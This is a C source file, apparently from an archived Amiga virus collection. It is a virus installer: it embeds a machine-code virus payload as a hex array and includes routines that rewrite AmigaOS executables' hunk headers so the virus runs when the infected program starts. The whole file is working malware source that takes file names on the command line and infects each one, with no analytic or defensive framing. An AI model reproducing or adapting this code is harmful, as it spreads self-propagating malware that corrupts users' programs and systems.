home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
telefisk.org
/
virusCollection.lzx
/
VirusCollectie
/
unsorted
/
BEOL_4-Installer.c
< prev
next >
Wrap
C/C++ Source or Header
|
2003-02-21
|
8KB
|
188 lines
/* tabsize: 4 */
/* C-Compiler used: Aztec-C v5.0a */
#include <stdio.h>
static long virus[]={
0x487afffe,0x48e7fffe,0x4e712c78,0x0004206e,0x01142028,0x00ac6706,
0xe588723c,0x600ad0fc,0x005c4eae,0xfe807218,0xd0812a40,0x614c670e,
0xb4956602,0x2a815880,0x30fc4ef9,0x20c030fc,0x4e75246f,0x003c3e3c,
0x01e626da,0x51cffffc,0x26ce2c78,0x0004226e,0x01a42269,0x003626d1,
0x4293224c,0x20144eae,0xff2e4eae,0xfd84486b,0xfda24eeb,0xfdb66102,
0x60bc2c78,0x0004610c,0x646f732e,0x6c696272,0x61727900,0x225f4eae,
0xfe68266e,0x003a223a,0xff64e589,0x28412e24,0x51876138,0x91c8486e,
0xff2e486e,0xff3a487a,0x053a224f,0x42a7244f,0x486c0008,0x48747808,
0x2c40200f,0x4eaefd0c,0x4fef0018,0x41faff2e,0x240820c0,0x2200e48a,
0xe5884e75,0x224c2c07,0x6112224c,0x2c3a00b0,0x2a066108,0x43f45800,
0x2c079c85,0x508941f1,0x68001211,0x12e01081,0xb3c865f6,0x4e75204d,
0x50887002,0x20c04298,0x720120c1,0x303c01e7,0x20c020c4,0x323c03e9,
0x20c120c0,0x20fc487a,0xfffe20fa,0x03fe30c9,0x43fafed8,0x303c03c8,
0x30d951c8,0xfffc5681,0x5c8120c1,0x518120c1,0x20c44e75,0x61000084,
0x7024d092,0xe5882040,0x70001010,0x670e4a30,0x00006608,0x04a80000,
0x07d0ffec,0x60606162,0x4cd71071,0x6100025a,0x24002602,0x96846100,
0x025890ba,0xffe26b3e,0x90826e08,0x7a00d480,0xd8806b32,0x0c830000,
0x07cc6c22,0x200390ba,0xffc66100,0x022e203a,0xffee9083,0xb8806e02,
0x20042540,0x0004248c,0x70526100,0x02262002,0x61000216,0x600278ff,
0x48ef0030,0x00046000,0x010c2c78,0x0004246e,0x01142a6a,0x003a7e5c,
0xde8a6100,0x0208205f,0x43ea0018,0x70092f21,0x51c8fffc,0x4ed06100,
0x036261d6,0x43eafffc,0x91c82019,0xe5882c30,0x08242859,0x2a192005,
0xe5880cb0,0x092e6261,0x08006636,0x48e7f0e2,0x2c7a057a,0x220c4eae,
0xffa02200,0x67204eae,0xff824eae,0xffa66108,0x632f6d6f,0x756e7400,
0x221f242a,0xfff04eae,0xffe24eae,0xffdc4cdf,0x470f4aaa,0xfff46700,
0x0106200d,0xe4882480,0x254cfffc,0x701a6100,0x017e6a12,0x4bed0010,
0x241594a5,0x5082303c,0x040a6100,0x01666a00,0x00dc282d,0x0070486d,
0x00842f2d,0x00687004,0x25400004,0x598f248f,0x70526100,0x01460c9f,
0x000003f3,0x660000b4,0x6100012c,0x6100035a,0x24806700,0x00a62543,
0x00047052,0x61000124,0xb6806642,0x61000352,0x66226100,0x010a6100,
0x00b041fa,0x04d05890,0xd1d02086,0x42af0020,0x2e2affec,0x256a0014,
0xffec6076,0x4a826a66,0x2bbc0000,0x03f230fc,0x2003e288,0x204d0c58,
0x03e957c8,0xfffa664e,0x0c280070,0x00046608,0x0c684e75,0x0006673e,
0xe48c653a,0x610000b2,0x72006100,0x009c224a,0x22cd22c3,0x70576100,
0x00b2b680,0x66206100,0x009e327c,0x4e716100,0xfdc6224a,0x22cd5983,
0x22c37057,0x61000094,0x6168612c,0x60086100,0x03ee504f,0x615c2e2a,
0x001441ea,0xfff07009,0x20df51c8,0xfffc206a,0xffec2547,0xffec2747,
0x000e224b,0x4eeefe92,0x224d4eae,0xfd4e4cdf,0x00072f00,0x20422242,
0x70001010,0x6706d2c0,0x4a196706,0x42194219,0x5210611c,0xe48a701c,
0x610a42af,0x00245782,0xe58a7022,0x25420008,0x602c303c,0x03ef6022,
0x41ea000c,0x21012105,0x210c42a0,0x70156016,0x70007201,0x60047000,
0x72ff48d2,0x0003303c,0x03f02546,0xfffc3540,0xfff26182,0x20474eae,
0xfe802047,0x4eaefe8c,0x2640246b,0x000a45ea,0x0018202a,0xfff44e75,
0xdfdfdfdf,0x034c4841,0x034c5a58,0x035a4950,0x054c4841,0x222d000c,
0x41fa0382,0x22482418,0x59826b04,0xb29866f8,0x4e752f3a,0x036c48e7,
0xfffe226e,0x0114487a,0x00ea235f,0x00420029,0x0040000e,0x28690070,
0x4a946700,0x00d42a6c,0x000a588d,0x42a770e9,0xb0ad0024,0x676693c9,
0x221d6760,0x0c31000d,0x18ac6620,0x24311850,0x671ae58a,0x26312810,
0x6712e58b,0x28313800,0x41faff7e,0xc898b898,0x673a6efa,0x22150441,
0x0017671e,0x5341671a,0x0441003a,0x67280441,0x039b6744,0x55416710,
0x53416726,0x0441001b,0x6666487a,0xfc906034,0x6100ff5a,0x665a20b0,
0x28005991,0x60526100,0xff4c664c,0x487afc98,0x601a6100,0xff406640,
0x4aad0014,0x6f3a203a,0xfc7e91ad,0x00106030,0x487afd04,0x2b400020,
0x48798000,0x03eb220f,0x2c7a029a,0x4eaefe0e,0x2c780004,0x4a80670e,
0x725cd081,0x2b650028,0x2a802940,0x000e504f,0x584f2854,0x6000ff2a,
0x602a48e7,0xfffe226e,0x01142069,0x00366150,0x4a806618,0x022900bf,
0x000e42a9,0x00424eae,0xff7c47fa,0x0038610e,0x4eaeff76,0x4cdf7fff,
0x4e7547fa,0x003c247a,0x023c246a,0x0022206a,0x0018d1c8,0x24308804,
0x600c2042,0x4cd0020c,0x4a836602,0x4e93e58a,0x66f04e75,0x2069ffda,
0x201090ba,0x02146606,0x487afea0,0x209f4e75,0x48e7fffe,0x2a28001c,
0x2005e080,0x6faee58d,0x244508e8,0x00060018,0x66a24eae,0xfd662040,
0x70384eae,0xfd722840,0x4cd20701,0xd3c92831,0x9804e58c,0x4ab19824,
0x6782220a,0xd1c8d1c8,0x5288224c,0x4eaefe44,0x4a806602,0x613c6000,
0xff6c2241,0x20199091,0xb6806c02,0x20032200,0x2051d191,0x22426002,
0x12d85381,0x6afa4e75,0x203afb5c,0x26007201,0x4eaefd54,0x2a404e75,
0x0cad4245,0x4f4c063e,0x4e7561e4,0x4a80670c,0x2004d084,0x72014eae,
0xfd542600,0x6700010a,0x2640d7c4,0x29440024,0x7e00760f,0x2947000a,
0x61000118,0x52870c93,0x5244534b,0x57cbffee,0x660000e6,0x2e2b0020,
0x6b0a97c4,0x610000fc,0x2e2b0048,0x6b0000d2,0x27874808,0x76006100,
0x00d46100,0x00d86a02,0x3a063005,0x41eb0014,0x24d85340,0x6efa2e2b,
0x00106b00,0x00ac9c45,0x6ee06100,0xff7c6700,0x00a0253c,0x000003f2,
0x610000aa,0x202b0010,0x6b042e00,0x60f2204b,0xd1c42028,0x00985280,
0x27400010,0x90a80084,0xc1c4d0ba,0xfaca6a70,0x610000a8,0x61767aec,
0xda84e48d,0xbc456e06,0x3a0670ff,0x60042007,0x5280204b,0x58882085,
0x5a985088,0x20c02005,0x20da5340,0x6efa2147,0x00986176,0x9c456ed4,
0x204bd1c4,0xc744327c,0x606c6100,0xf9f2c744,0x2e334808,0x612e5386,
0x61326e02,0x3a062005,0x41eb0014,0x20da5340,0x6efa6146,0x9c456ee8,
0x2e2c000a,0xd7c4613a,0x224c4eae,0xfe3e224d,0x4eeefd4e,0x244d3c3c,
0x01f44e75,0x610c2a2b,0x00045b85,0xd685bc45,0x4e757002,0x294b0028,
0x3940001c,0x2007c0c4,0x2940002c,0x224c4eee,0xfe38204b,0x22485888,
0x20184290,0x7200d299,0x53806efa,0x44812081,0x700361d0,0x2e2b0010,
0x4e750000
};
#define VIRUSLEN 1948
#define SAVEBUFFERSIZE (VIRUSLEN+(12*4))
#define HUNK_HEADER 0x3f3
#define HUNK_END 0x3f2
#define HUNK_CODE 0x3e9
#define HUNK_DATA 0x3ea
static void inithunk(long *buf,long len)
{
int i;
long *vir;
*(buf++)=HUNK_HEADER;
*(buf++)=0;
*(buf++)=2;
*(buf++)=0;
*(buf++)=1;
*(buf++)=VIRUSLEN/4;
*(buf++)=len/4;
*(buf++)=HUNK_CODE;
*(buf++)=VIRUSLEN/4;
vir=virus;
for(i=0;i<VIRUSLEN/4;i++) {
*(buf++)=*(vir++);
}
*(buf++)=HUNK_END;
*(buf++)=HUNK_DATA;
*(buf++)=len/4;
}
static void infectfile(char *name)
{
FILE *f;
int i,j;
long len,*lbuf;
static char buf[SAVEBUFFERSIZE+4];
if(f=fopen(name,"r+")) {
if((i=fread(buf,1,SAVEBUFFERSIZE,f))==SAVEBUFFERSIZE) {
lbuf=(long *)buf;
lbuf[SAVEBUFFERSIZE/4]=HUNK_END;
if(*lbuf==HUNK_HEADER) {
for(i=0;i<SAVEBUFFERSIZE/4;i++) {
if(*lbuf==HUNK_CODE) break;
lbuf++;
}
if(*lbuf==HUNK_CODE) {
if((lbuf[2]&0xff00ffff)!=0x70004e75) {
fseek(f,0,SEEK_END);
fgetpos(f,&len);
if(len%4==0) {
if(fwrite(buf,1,SAVEBUFFERSIZE+4,f)==SAVEBUFFERSIZE+4) {
fseek(f,0,SEEK_SET);
inithunk((long *)buf,len);
if(fwrite(buf,1,SAVEBUFFERSIZE,f)==SAVEBUFFERSIZE)
printf("%s succesfully infected\n",name);
else
printf("can't write to %s\n",name);
} else
printf("can't write to %s\n",name);
} else
printf("size of %s is not a multiple of 4\n",name);
} else
printf("%s looks like a resident\n",name);
} else
printf("found no HUNK_CODE in %s\n",name);
} else
printf("%s is not an executable\n",name);
} else if (i>0)
printf("%s is to small for infection!\n",name);
else
printf("can't read from %s\n",name);
fclose(f);
} else {
printf("Can't open file %s\n",name);
}
return;
}
main(int argc, char **argv)
{
int i;
if(argc<2) {
printf("usage:%s file [file...]\n",*argv);
return 10;
}
for(i=1;i<argc;i++)
infectfile(*(++argv));
return 0;
}